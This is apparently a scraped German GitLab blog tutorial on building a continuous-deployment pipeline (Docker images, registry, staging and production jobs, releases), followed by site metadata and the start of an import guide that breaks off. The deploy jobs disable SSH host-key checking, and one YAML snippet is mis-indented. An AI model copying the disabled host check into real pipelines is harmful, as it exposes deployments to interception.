HTML-Seite:\n\n\n```\n\n\u003C!|||UNTRANSLATED_CONTENT_START|||-- index.html -->\n\n\u003Chtml>\n  \u003Chead>\n    \u003Cstyle>\n      body {\n        background-color: #171321; /* GitLab dark */\n      }\n    \u003C/style>\n  \u003C/head>\n  \u003Cbody>\n    \u003C!|||UNTRANSLATED_CONTENT_END|||-- Dein Inhalt hier -->\n  \u003C/body>\n\u003C/html>\n\n```\n\n\n#### 2. Containerisiere deine Anwendung\n\n\nErstelle ein Dockerfile, um deine Anwendung zu paketieren:\n\n\n```\n\nFROM nginx:1.26.2\n\nCOPY index.html /usr/share/nginx/html/index.html\n\n```\n\n\nDieses Dockerfile:\n\n\n- Verwendet nginx als Basis-Image für die Bereitstellung von Webinhalten\n\n- Kopiert deine HTML-Datei an die richtige Stelle in der nginx-Verzeichnisstruktur\n\n\n#### 3. Richte deine CI/CD-Pipeline ein\n\n\nErstelle eine `.gitlab-ci.yml`-Datei, um deine Pipeline-Phasen zu definieren:\n\n\n```\n\nvariables:\n  TAG_LATEST: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_NAME:latest\n  TAG_COMMIT: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_NAME:$CI_COMMIT_SHA\n\nstages:\n  - publish\n  - deploy\n```\n\n\nSehen wir uns das genauer an:\n\n\n`TAG_LATEST` besteht aus drei Teilen:\n\n\n- `$CI_REGISTRY_IMAGE` ist der Pfad zum Container-Registry deines Projekts in GitLab\n\n\nZum Beispiel: `registry.gitlab.com/your-group/your-project`\n\n\n- `$CI_COMMIT_REF_NAME` ist der Name deiner Branch oder deines Tags\n\n\nZum Beispiel, wenn du dich im Haupt-Branch befindest: `/main`, und wenn du dich in einem Feature-Branch befindest: `/feature-login`\n\n\n- `:latest` ist ein festes Suffix\n\n\nWenn du dich also im Main-Branch befindest, wird `TAG_LATEST` zu: `registry.gitlab.com/your-group/your-project/main:latest`.\n\n\n`TAG_COMMIT` ist fast identisch, aber anstelle von `:latest` verwendet es: `$CI_COMMIT_SHA`, was die Commit-Kennung ist, zum Beispiel: `:abc123def456`.\n\n\nFür denselben Commit im Haupt-Branch wird `TAG_COMMIT` zu: `registry.gitlab.com/your-group/your-project/main:abc123def456`.\n\n\nDer Grund für beides ist, dass `TAG_LATEST` dir eine einfache Möglichkeit bietet, immer die neueste Version zu erhalten, und `TAG_COMMIT` gibt dir eine bestimmte Version, zu der du bei Bedarf zurückkehren kannst.\n\n\n#### 4. Im Container-Registry veröffentlichen\n\n\nFüge den Veröffentlichungsauftrag zu deiner Pipeline hinzu:\n\n\n```\n\npublish:\n  stage: publish\n  image: docker:latest\n  services:\n    - docker:dind\n  script:\n    - docker build -t $TAG_LATEST -t $TAG_COMMIT .\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - docker push $TAG_LATEST\n    - docker push $TAG_COMMIT\n```\n\n\nDieser Job:\n\n\n- verwendet Docker-in-Docker, um Bilder zu entwickeln\n\n- erstellt zwei getaggte Versionen deines Bildes\n\n- authentifiziert sich bei der GitLab-Registrierung\n\n- pusht beide Versionen in das Registry \n\n\nJetzt, da unsere Bilder sicher im Registry gespeichert sind, können wir uns darauf konzentrieren, sie in unseren Zielumgebungen bereitzustellen. Beginnen wir mit lokalen Tests, um unser Setup zu validieren, bevor wir zu Produktionsbereitstellungen übergehen.\n\n\n#### 5. In deiner Umgebung bereitstellen\n\n\nVor der Bereitstellung in der Produktion kannst du einen lokalen Test durchführen. Wir haben unser Image gerade im GitLab-Repository veröffentlicht, das wir lokal abrufen werden. Wenn du dir über den genauen Pfad nicht sicher bist, navigiere zu **Bereitstellen > Container-Registry**. Du solltest ein Symbol sehen, um den Pfad deines Bildes am Ende der Zeile für das Container-Image zu kopieren, das du testen möchtest.\n\n\n```\n\ndocker login registry.gitlab.com \n\ndocker run -p 80:80 registry.gitlab.com/your-project-path/main:latest\n\n```\n\n\nAuf diese Weise solltest du über deinen Webbrowser lokal über deine lokale Host-Adresse auf deine Anwendung zugreifen können.\n\n\nDu kannst jetzt einen Bereitstellungsjob zu deiner Pipeline hinzufügen:\n\n\n```\n\ndeploy:\n  stage: deploy\n  image: alpine:latest\n  script:\n    - chmod 400 $GITLAB_KEY\n    - apk add openssh-client\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - ssh -i $GITLAB_KEY -o StrictHostKeyChecking=no $USER@$TARGET_SERVER \n      docker pull $TAG_COMMIT &&\n      docker rm -f myapp || true &&\n      docker run -d -p 80:80 --name myapp $TAG_COMMIT\n```\n\n\nDieser Job:\n\n\n- richtet einen SSH-Zugriff auf dein Bereitstellungsziel ein\n\n- ruft das neueste Image auf\n\n- entfernt alle vorhandenen Container\n\n- stellt die neue Version bereit\n\n\n#### 6. Bereitstellungen nachverfolgen\n\n\nAktiviere die Nachverfolgung von Bereitstellungen, indem du die Umgebungskonfiguration hinzufügst:\n\n\n```\n\ndeploy:\n  environment:\n    name: production\nurl: https://deine-anwendung-url.com\n\n```\n\n\nDadurch wird ein Umgebungsobjekt im Abschnitt **Betreiben > Umgebungen** von GitLab erstellt, das Folgendes bietet:\n\n\n- Bereitstellungsverlauf\n\n- aktueller Bereitstellungsstatus\n\n- schneller Zugriff auf deine Anwendung\n\n\nWährend eine einzelne Umgebungspipeline ein guter Ausgangspunkt ist, müssen die meisten Teams mehrere Umgebungen verwalten, um ordnungsgemäß zu testen und die Staging-Phase durchzuführen. Lass uns unsere Pipeline erweitern, um dieses realistischere Szenario zu bewältigen.\n\n\n#### 7. Mehrere Umgebungen einrichten\n\n\nFür eine robustere Pipeline, konfiguriere Staging- und Produktionsbereitstellungen:\n\n\n```\n\nstages:\n  - publish\n  - staging\n  - release\n  - version\n  - production\n\nstaging:\n  stage: staging\n  rules:\n    - if: $CI_COMMIT_BRANCH == \"main\" && $CI_COMMIT_TAG == null\n  environment:\n    name: staging\n    url: https://staging.your-app.com\n  # deployment script here\n\nproduction:\n  stage: production\n  rules:\n    - if: $CI_COMMIT_TAG\n  environment:\n    name: production\n    url: https://your-app.com\n  # deployment script here\n```\n\n\nDieses Setup:\n\n\n- stellt die Staging-Phase deines Main-Branch bereit\n\n- verwendet GitLab-Tags, um Produktionsbereitstellungen auszulösen\n\n- bietet separate Nachverfolgung für jede Umgebung\n\n\nHier und in unserem nächsten Schritt nutzen wir eine sehr nützliche GitLab-Funktion: Tags. Durch manuelles Erstellen eines Tags im Abschnitt **Code > Tags** wird das `$CI_COMMIT_TAG` erstellt, wodurch wir Jobs entsprechend auslösen können.\n\n\n#### 8. Automatisierte Versionshinweise erstellen\n\n\nWir werden die Release-Funktionen von GitLab über unsere CI/CD-Pipeline nutzen. Aktualisiere zuerst deine Phasen in `.gitlab-ci.yml`:\n\n\n```\n\nstages:\n\n\n- publish\n\n- staging\n\n- release # New stage for releases\n\n- version\n\n- production\n\n```\n\n\nAls Nächstes fügst du den Release-Job hinzu:\n\n\n```\n\nrelease_job:\n  stage: release\n  image: registry.gitlab.com/gitlab-org/release-cli:latest\n  rules:\n    - if: $CI_COMMIT_TAG                  # Only run when a tag is created\n  script:\n    - echo \"Creating release for $CI_COMMIT_TAG\"\n  release:                                # Release configuration\n    name: 'Release $CI_COMMIT_TAG'\n    description: 'Release created from $CI_COMMIT_TAG'\n    tag_name: '$CI_COMMIT_TAG'           # The tag to create\n    ref: '$CI_COMMIT_TAG'                # The tag to base release on\n```\n\n\nDu kannst dies verbessern, indem du Links zu deinen Container-Bildern hinzufügst:\n\n\n```\n\nrelease:\n  name: 'Release $CI_COMMIT_TAG'\n  description: 'Release created from $CI_COMMIT_TAG'\n  tag_name: '$CI_COMMIT_TAG'\n  ref: '$CI_COMMIT_TAG'\n  assets:\n    links:\n      - name: 'Container Image'\n        url: '$CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG'\n        link_type: 'image'\n```\n\n\nFür die automatische Erzeugung von Versionshinweisen basierend auf Commit-Nachrichten:\n\n\n```\n\nrelease:\n  name: 'Release $CI_COMMIT_TAG'\n  description: 'Release notes for version $CI_COMMIT_TAG'\n  tag_name: '$CI_COMMIT_TAG'\n  ref: '$CI_COMMIT_TAG'\n  auto_generate_release_notes: true    # Enables automatic notes\n```\n\n\nFür aussagekräftige automatisierte Versionshinweise:\n\n\n- herkömmliche Commits verwenden (feat:, fix:, etc.)\n\n- Issue-Nummern einschließen (#123)\n\n- Betreff mit leerer Zeile vom Text trennen\n\n\nWenn du benutzerdefinierte Versionshinweise mit Bereitstellungsinformationen möchtest:\n\n\n```\n\nrelease_job:\n  script:\n    - |\n      DEPLOY_TIME=$(date '+%Y-%m-%d %H:%M:%S')\n      CHANGES=$(git log $(git describe --tags --abbrev=0 @^)..@ --pretty=format:\"- %s\")\n      cat > release_notes.md \u003C\u003C EOF\n      ## Deployment Info\n      - Deployed on: $DEPLOY_TIME\n      - Environment: Production\n      - Version: $CI_COMMIT_TAG\n\n      ## Changes\n      $CHANGES\n\n      ## Artifacts\n      - Container Image: \\`$CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG\\`\n      EOF\n  release:\n    description: './release_notes.md'\n```\n\n\nNach der Konfiguration werden Releases automatisch erstellt, wenn du ein Git-Tag erstellst. Du kannst sie in GitLab unter **Bereitstellen > Releases** anzeigen.\n\n\n#### 9. Alles zusammensetzen\n\n\nSo sieht unsere finale YAML-Datei aus:\n\n\n```\n\nvariables:\n  TAG_LATEST: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_NAME:latest\n  TAG_COMMIT: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_NAME:$CI_COMMIT_SHA\n  STAGING_TARGET: $STAGING_TARGET    # Set in CI/CD Variables\n  PRODUCTION_TARGET: $PRODUCTION_TARGET  # Set in CI/CD Variables\n\nstages:\n  - publish\n  - staging\n  - release\n  - version\n  - production\n\n# Build and publish to registry\n\npublish:\n  stage: publish\n  image: docker:latest\n  services:\n    - docker:dind\n  rules:\n    - if: $CI_COMMIT_BRANCH == \"main\" && $CI_COMMIT_TAG == null\n  script:\n    - docker build -t $TAG_LATEST -t $TAG_COMMIT .\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - docker push $TAG_LATEST\n    - docker push $TAG_COMMIT\n\n# Deploy to staging\n\nstaging:\n  stage: staging\n  image: alpine:latest\n  rules:\n    - if: $CI_COMMIT_BRANCH == \"main\" && $CI_COMMIT_TAG == null\n  script:\n    - chmod 400 $GITLAB_KEY\n    - apk add openssh-client\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - ssh -i $GITLAB_KEY -o StrictHostKeyChecking=no $USER@$STAGING_TARGET \"\n        docker pull $TAG_COMMIT &&\n        docker rm -f myapp || true &&\n        docker run -d -p 80:80 --name myapp $TAG_COMMIT\"\n  environment:\n    name: staging\n    url: http://$STAGING_TARGET\n\n# Create release\n\nrelease_job:\n  stage: release\n  image: registry.gitlab.com/gitlab-org/release-cli:latest\n  rules:\n    - if: $CI_COMMIT_TAG\n  script:\n    - |\n      DEPLOY_TIME=$(date '+%Y-%m-%d %H:%M:%S')\n      CHANGES=$(git log $(git describe --tags --abbrev=0 @^)..@ --pretty=format:\"- %s\")\n      cat > release_notes.md \u003C\u003C EOF\n      ## Deployment Info\n      - Deployed on: $DEPLOY_TIME\n      - Environment: Production\n      - Version: $CI_COMMIT_TAG\n\n      ## Changes\n      $CHANGES\n\n      ## Artifacts\n       - Container Image: \\`$CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG\\`\n      EOF\n  release:\n    name: 'Release $CI_COMMIT_TAG'\n    description: './release_notes.md'\n    tag_name: '$CI_COMMIT_TAG'\n    ref: '$CI_COMMIT_TAG'\n    assets:\n      links:\n        - name: 'Container Image'\n          url: '$CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG'\n          link_type: 'image'\n\n# Version the image with release tag\n\nversion_job:\n  stage: version\n  image: docker:latest\n  services:\n    - docker:dind\n  rules:\n    - if: $CI_COMMIT_TAG\n  script:\n    - docker pull $TAG_COMMIT\n    - docker tag $TAG_COMMIT $CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - docker push $CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG\n\n# Deploy to production\n\nproduction:\n  stage: production\n  image: alpine:latest\n  rules:\n    - if: $CI_COMMIT_TAG\n  script:\n    - chmod 400 $GITLAB_KEY\n    - apk add openssh-client\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - ssh -i $GITLAB_KEY -o StrictHostKeyChecking=no $USER@$PRODUCTION_TARGET \"\n        docker pull $CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG &&\n        docker rm -f myapp || true &&\n        docker run -d -p 80:80 --name myapp $CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG\"\n  environment:\n    name: production\n    url: http://$PRODUCTION_TARGET\n```\n\n\nDiese komplette Pipeline:\n\n\n- veröffentlicht Images im Registry (Main-Branch)\n\n- stellt das Staging bereit (Main-Branch)\n\n- erstellt Releases (mit Tags)\n\n- bietet die Versionsverwaltung von Images mit Release-Tags \n\n- Stellt die Produktion bereit (für Tags)\n\n\nHauptvorteile:\n\n\n- Saubere, reproduzierbare, lokale Entwicklungs- und Testumgebung\n\n- Klarer Pfad zu Produktionsumgebungen mit Struktur, um Vertrauen in die Bereitstellung aufzubauen\n\n- Muster zur Wiederherstellung nach unerwarteten Fehlern usw.\n\n- Bereit, komplexere Bereitstellungsstrategien zu skalieren/zu übernehmen\n\n\n### Best Practices\n\n\nWährend der gesamten Implementierung solltest du diese Grundsätze einhalten:\n\n\n- Dokumentiere alles, von der variablen Nutzung bis hin zu Bereitstellungsverfahren\n\n- Nutze die integrierten Funktionen von GitLab (Umgebungen, Releases, Registry)\n\n- Implementiere ordnungsgemäße Zugriffskontrollen und Sicherheitsmaßnahmen\n\n- Sorge für Ausfälle mit robusten Rollback-Verfahren vor\n\n- Halte deine Pipeline-Konfigurationen SAUBER (wiederhole dich nicht)\n\n\n## Skaliere deine Bereitstellungsstrategie\n\n\nWie geht es weiter? Hier sind einige Aspekte, die du berücksichtigen solltest, wenn deine kontinuierliche Bereitstellungsstrategie ausgereift ist.\n\n\n### Erweiterte Sicherheitsmaßnahmen\n\n\nErhöhe die Sicherheit durch:\n\n\n- Geschützte Umgebungen mit eingeschränktem Zugang\n\n- Erforderliche Genehmigungen für Produktionseinsätze\n\n- Integriertes Sicherheitsscannen\n\n- Automatisierte Schwachstellenbewertungen\n\n- Branch-Schutzregeln für einsatzbedingte Änderungen\n\n\n### Progressive Bereitstellungsstrategien\n\n\nImplementiere erweiterte Bereitstellungsstrategien:\n\n\n- Feature-Flags für kontrollierte Rollouts\n\n- Canary-Bereitstellungen zur Risikominderung\n\n- Blaugrüne Bereitstellungsstrategien\n\n- A/B-Testfähigkeiten\n\n- Dynamisches Umgebungsmanagement\n\n\n### Überwachung und Optimierung\n\n\nEtabliere robuste Überwachungspraktiken:\n\n\n- Verfolge Bereitstellungsmetriken nach\n\n- Richte eine Leistungsüberwachung ein\n\n- Konfiguriere Bereitstellungswarnungen\n\n- Richte Bereitstellungs-SLOs ein\n\n- Regelmäßige Pipeline-Optimierung\n\n\n## Warum GitLab\n\n\nDurch die kontinuierlichen Bereitstellungsfunktionen ist GitLab eine herausragende Wahl für moderne Bereitstellungsworkflows. Die Plattform zeichnet sich dadurch aus, dass sie den Weg vom Code bis zur Produktion optimiert und eine integrierte Container-Registrierung, ein Umgebungsmanagement und eine Nachverfolgung der Bereitstellung innerhalb einer einzigen Benutzeroberfläche bietet. Die umgebungsspezifischen Variablen von GitLab, die Approval-Gates für die Bereitstellung und die Rollback-Funktionen bieten die Sicherheit und Kontrolle, die für Produktionsbereitstellungen erforderlich sind, während Funktionen wie Review-Apps und Feature-Flags progressive Bereitstellungsansätze ermöglichen. Als Teil der kompletten DevSecOps-Plattform von GitLab lassen sich diese CD-Funktionen nahtlos in deinen gesamten Software-Lebenszyklus integrieren.\n\n\n## Noch heute starten\n\n\nDer Weg zur kontinuierlichen Bereitstellung ist eine Evolution, keine Revolution. Beginne mit den Grundlagen, baue eine solide Grundlage auf und integriere nach und nach erweiterte Funktionen, wenn die Anforderungen deines Teams wachsen. GitLab bietet die Tools und die Flexibilität, um dich in jeder Phase dieser Reise zu unterstützen, von deiner ersten automatisierten Bereitstellung bis hin zu komplexen Bereitstellungspipelines für mehrere Umgebungen.\n\n\n> Melde dich für eine [kostenlose Testversion von GitLab Ultimate](https://about.gitlab.com/free-trial/devsecops/) an, um noch heute mit der kontinuierlichen Bereitstellung zu beginnen.\n",[2216,2217],"Benjamin Skierlak","James Wormwell","2025-01-28","Vom Code bis zur Produktion: Ein Leitfaden für die kontinuierliche Bereitstellung mit GitLab",[1535,110,745,680,767],{"slug":2222,"featured":6,"template":682},"from-code-to-production-a-guide-to-continuous-deployment-with-gitlab","content:de-de:blog:from-code-to-production-a-guide-to-continuous-deployment-with-gitlab.yml","From Code To Production A Guide To Continuous Deployment With Gitlab","de-de/blog/from-code-to-production-a-guide-to-continuous-deployment-with-gitlab.yml","de-de/blog/from-code-to-production-a-guide-to-continuous-deployment-with-gitlab",{"_path":2228,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2229,"content":2235,"config":2240,"_id":2242,"_type":16,"title":2243,"_source":17,"_file":2244,"_stem":2245,"_extension":20},"/de-de/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab",{"title":2230,"description":2231,"ogTitle":2230,"ogDescription":2231,"noIndex":6,"ogImage":2232,"ogUrl":2233,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2233,"schema":2234},"Erste Schritte mit GitLab: So importierst du deine Projekte in GitLab","Erfahre, wie du deine Projekte aus verschiedenen Quellen wie Bitbucket, Gitea, GitHub und GitLab Self-Managed importierst.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097248/Blog/Hero%20Images/Blog/Hero%20Images/blog-getting-started-with-gitlab-banner-0497-option4-fy25_cFwd8DYFLekdnOLmbbChp_1750097247785.png","https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Erste Schritte mit GitLab: So importierst du deine Projekte in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2025-01-28\",\n      }",{"title":2230,"description":2231,"authors":2236,"heroImage":2232,"date":2218,"body":2238,"category":680,"tags":2239},[2237],"Abubakar Siddiq Ango","*Willkommen zu unserer Serie „Erste Schritte mit GitLab“, in der wir Neueinsteiger(inne)n helfen, sich mit der DevSecOps-Plattform von GitLab vertraut zu machen.*\n\nUm deine DevSecOps-Plattform von GitLab so gut wie möglich zu nutzen, ist es wichtig zu wissen, wie du Projekte in GitLab importieren kannst. Du hast bereits dein [Konto eingerichtet](https://university.gitlab.com/pages/getting-started), Benutzer(innen) eingeladen und sie entsprechend deines Anwendungsfalls oder deiner Teamstruktur [organisiert](https://about.gitlab.com/de-de/blog/getting-started-with-gitlab-how-to-manage-users/). Nun musst du deine bestehenden Projekte in GitLab importieren und mit der Zusammenarbeit beginnen. Diese Projekte können lokale Dateien auf deinem Computer sein oder auf einer anderen Plattform für Quellcodeverwaltung gehostet sein. Sehen wir uns an, welche Möglichkeiten es gibt.\n\n## Lokale Projektdateien importieren\n\nDu möchtest nicht jedes Mal bei Null anfangen, wenn du ein Projekt importierst. Befolge diese Schritte, um bestehende Projekte oder Anwendungen mit oder ohne Versionskontrolle in GitLab nutzen zu können.\n\n### Git-Projekt\n\n1. Wenn Git bereits in deinem lokalen Projekt [initialisiert wurde](https://docs.gitlab.com/ee/topics/git/commands.html#git-init), erstellst du ein neues Projekt in GitLab und rufst die SSH- oder HTTPS-URL ab, indem du oben rechts in deiner Projektseite auf die Schaltfläche **Code** klickst.\n\n![Ein neues Projekt in GitLab mit SSH/HTTPS-URLs erstellen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097254/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097252717.png)\n\n2. Wechsele zu deinem Terminal und stelle sicher, dass du dich in deinem Projektordner befinden:\n\n```bash  \ncd /project_folder  \n```\n\n3. Sichere deinen bestehenden [Git-Origin](https://git-scm.com/book/de/v2/Git-Grundlagen-Mit-Remotes-arbeiten):\n\n```bash\n\ngit remote rename origin old-origin\n\n```\n\n4. Füge die [GitLab-Remote-URL](https://git-scm.com/book/de/v2/Git-Grundlagen-Mit-Remotes-arbeiten) für den neuen Origin hinzu, wenn du SSH verwendest:\n\n```bash  \ngit remote add origin [git@gitlab.com](mailto:git@gitlab.com):gitlab-da/playground/abubakar/new-test-repo.git  \n```\n\nUnd für HTTPS: \n\n```bash  \ngit remote add origin https://gitlab.com/gitlab-da/playground/abubakar/new-test-repo.git  \n```\n\n5. Pushe dann alle bestehenden [Branches](https://docs.gitlab.com/ee/user/project/repository/branches/) und [Tags](https://docs.gitlab.com/ee/user/project/repository/tags/) zu GitLab:\n\n```bash  \ngit push --set-upstream origin --all  \ngit push --set-upstream origin --tags  \n```\n\nAlle deine Dateiprojektdateien, Branches und Tags werden an GitLab übertragen und du kannst mit der Zusammenarbeit beginnen.\n\n### Nicht-Git-Projekt\n\nWenn du Git in deinem Projekt nicht initiiert hast, musst du Git vorher initialisieren, vorhandene Dateien commiten und wie folgt in GitLab pushen:\n\n```bash  \ngit init --initial-branch=main  \ngit remote add origin git@gitlab.com:gitlab-da/playground/abubakar/new-test-repo.git  \ngit add .  \ngit commit -m \"Initial commit\"  \ngit push --set-upstream origin main  \n```\n\n## Import aus Online-Quellen\n\nWenn du dein Projekt auf GitLab.com oder anderen Plattformen hast und es in eine andere GitLab-Instanz (wie eine Self-Managed-Instanz) oder von einer anderen Plattform zu GitLab.com verschieben möchtest, bietet GitLab die Funktion zum Importieren von Projekten, wenn du ein neues Projekt erstellen möchtest.\n\n![Bildschirm „Neues Projekt erstellen“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097252718.png)\n\nBeim Importieren eines Projekts werden die Projektdateien und (je nach Quelle) einige andere Komponenten des Projekts migriert. Du kannst aus verschiedenen Quellen importieren, darunter Bitbucket, GitHub, Gitea und GitLab-Instanzen. Importquellen sind auf GitLab.com standardmäßig aktiviert, müssen aber von einem bzw. einer Administrator(in) [für Self-Managed aktiviert werden](https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#configure-allowed-import-sources). In den folgenden Abschnitten sehen wir uns einige dieser Quellen an.\n\n![Projekt aus Drittquellen importieren](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097252719.png)\n\n## GitLab-Quellen\n\nDu kannst Projekte von GitLab.com und GitLab-Self-Managed-Instanzen mit der Funktion „Projekt exportieren“ in den Einstellungen eines Projekts exportieren.\n\n![Bildschirm „Projekt exportieren“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750097252720.png)\n\nDas geht so:\n\n- Gehe zu den Einstellungen deines Projekts und klicke in den Bereich **Allgemein**.\n- Scrolle zum Abschnitt **Erweitert**.\n- Wähle **Projekt exportieren** aus.\n- Es wird eine Benachrichtigung angezeigt, die sagt: „Projekt-Export gestartet. Ein Download-Link wird per E-Mail verschickt und auf dieser Seite bereitgestellt.“\n- Nachdem der Export generiert wurde, kannst du dem Link in der E-Mail folgen oder die Seite mit den Projekteinstellungen aktualisieren, um die Option„ Export herunterladen “anzuzeigen.\n\n### Projekt importieren\n\n![Ein exportiertes GitLab-Projekt importieren](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750097252722.png)\n\n- Klicke in deiner Ziel-GitLab-Instanz auf die Schaltfläche **Neues Projekt**.  \n- Wähle **Projekt importieren** aus und klicke in der Liste der Importquellen auf **GitLab-Export**.  \n- Gib einen Projektnamen an und wähle die Exportdatei aus. Klicke dann auf **Projekt importieren**.  \n- Es wird die Seite „Import wird durchgeführt“ angezeigt. Nach Abschluss wirst du zum importierten Projekt weitergeleitet.\n\nAbhängig von der Größe deines Projekts kann der Import unterschiedlich lange dauern. Beachte bitte, dass nicht alles in einem Projekt exportiert werden kann und einige Dinge nach dem Import anders sein können. In der [Dokumentation](https://docs.gitlab.com/ee/user/project/settings/import_export.html#export-a-project-and-its-data) findest du weitere Informationen zu den Einschränkungen. Wenn du eine ganze Gruppe anstelle einzelner Projekte migrieren möchtest, empfehlen wir dir die [Direct-Transfer-Methode](https://docs.gitlab.com/ee/user/group/import/index.html). Dabei wird eine Kopie einer ganzen Gruppe erstellt.\n\n## Drittanbieter\n\nGitLab unterstützt den Import von Bitbucket Cloud, Bitbucket Server, FogBugz, Gitea und GitHub. Der Import ist für alle unterstützten Drittpartner ähnlich, der Hauptunterschied liegt dabei in der Authentifizierungsmethode. Sehen wir uns einige der Möglichkeiten an.\n\n### GitHub\n\n![Bildschirm „Authentifizierung mit GitHub“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097252723.png)\n\nEs gibt drei Methoden, um GitHub-Projekte in GitLab zu importieren:\n\n- [Mit GitHub OAuth](https://docs.gitlab.com/ee/user/project/import/github.html#use-github-oauth)\n- [Mit einem persönlichen GitHub-Zugriffstoken](https://docs.gitlab.com/ee/user/project/import/github.html#use-a-github-personal-access-token)\n- [Über die API](https://docs.gitlab.com/ee/user/project/import/github.html#use-the-api)\n\nDer Import mit GitHub OAuth und dem persönlichen Zugriffstoken ist ähnlich. Der Unterschied liegt darin, wie du GitLab autorisierst, auf deine Repositories zuzugreifen. Die OAuth-Methode ist einfacher, da du nur auf die Schaltfläche „Mit GitHub autorisieren“ klicken musst und du zu deinem GitHub-Konto weitergeleitet wirst, um die Verbindung zu autorisieren. Dann wird die Liste deiner Projekte geladen und du kannst auswählen, welche du importieren möchtest.\n\n![Bildschirm „Repositories aus GitHub importieren“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097252725.png)\n\nAlternativ kannst du ein persönliches GitHub-Zugriffstoken generieren, den Geltungsbereich `repo` und `read:org` auswählen und es dann auf der Seite „Import“ bereitstellen. Für API-Importe kannst du dasselbe persönliche Zugriffstoken mit unseren [Import-REST-API-Endpunkten](https://docs.gitlab.com/ee/api/import.html#import-repository-from-github) in deinem Skript oder deiner Anwendung verwenden.\n\nIn dieser Demo erklärt GitLabs Senior Developer Advocate Fernando Diaz, wie man ein Projekt mit der OAuth-Methode von GitHub importiert:\n\n\u003C!-- blank line -->  \n\u003Cfigure class=\"video_container\"> \n  \u003Ciframe src=\"https://www.youtube.com/embed/0Id5oMl1Kqs?si=esF6wbz2j2JlhDVL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>  \n\u003C/figure>\n\u003C!-- blank line -->\n\nIn der [Importdokumentation](https://docs.gitlab.com/ee/user/project/import/github.html) erfährst du mehr über Voraussetzungen, bekannte Probleme, den Import von GitHub Enterprise sowie andere wichtige Themen.\n\n### Bitbucket\n\nDer Import von Projekten aus Bitbucket ähnelt dem Import von GitHub. Während OAuth für [Bitbucket Cloud](https://docs.gitlab.com/ee/user/project/import/bitbucket.html), die SaaS-Version von Bitbucket, verwendet werden kann, musst du für [Bitbucket Server](https://docs.gitlab.com/ee/user/project/import/bitbucket_server.html), die selbst gehostete Version für Unternehmen, eine URL, einen Benutzernamen und ein persönliches Zugriffstoken angeben. Wenn du auf der Seite „Import“ auf die Option „Bitbucket Cloud“ klickst, gelangst du automatisch zur Atlassian-Authentifizierung für Bitbucket.\n\n![Projekt aus Bitbucket importieren](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097252726.png)\n\nDu kannst Bitbucket-Projekte auch mit der [Import-API von GitLab](https://docs.gitlab.com/ee/api/import.html) importieren.\n\n### Gitea\n\n![Projekt aus Gitea importieren](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097252727.png)\n\nFür den Import von Projekten aus [Gitea](https://docs.gitlab.com/ee/user/project/import/gitea.html) musst du ein [persönliches Zugriffstoken](https://docs.gitea.com/next/development/api-usage#authentication-via-the-api) auf der Gitea-Plattform erstellen und es zusammen mit der Gitea-Server-URL auf der GitLab-Importseite angeben. OAuth-Authentifizierung wird nicht unterstützt. \n\n### Generisches Remote-Git-Repository\n\n![Projekt aus Remote-Git-Repository importieren](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097252728.png)\n\nWenn dein Git-Anbieter nicht unterstützt wird oder der Import mit den unterstützten Methoden nicht möglich ist, kannst du ein Repository mit der zugänglichen URL `https://` oder `git://` importieren. Wenn sie nicht öffentlich zugänglich ist, gibst du die URL des Repositorys zusammen mit dem Benutzernamen und dem Passwort (oder gegebenenfalls dem Zugriffstoken bei Multi-Faktor-Authentifizierung) an.\n\nDiese 